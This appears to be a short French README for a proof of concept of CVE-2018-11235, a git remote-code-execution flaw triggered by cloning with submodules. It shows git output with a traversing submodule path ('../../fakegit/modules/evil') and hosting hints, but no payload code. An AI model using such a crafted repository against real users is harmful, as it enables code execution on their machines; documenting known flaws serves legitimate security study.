
Exploit PoC pour CVE-2018-11235 permettant l'exécution de code à distance (RCE) lors de git clone --recurse-submodules
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Comme Github m'empêche de téléverser le PoC
Vous devrez héberger votre propre dépôt, j'y suis parvenu en créant un dépôt local à l'aide de git init . --bare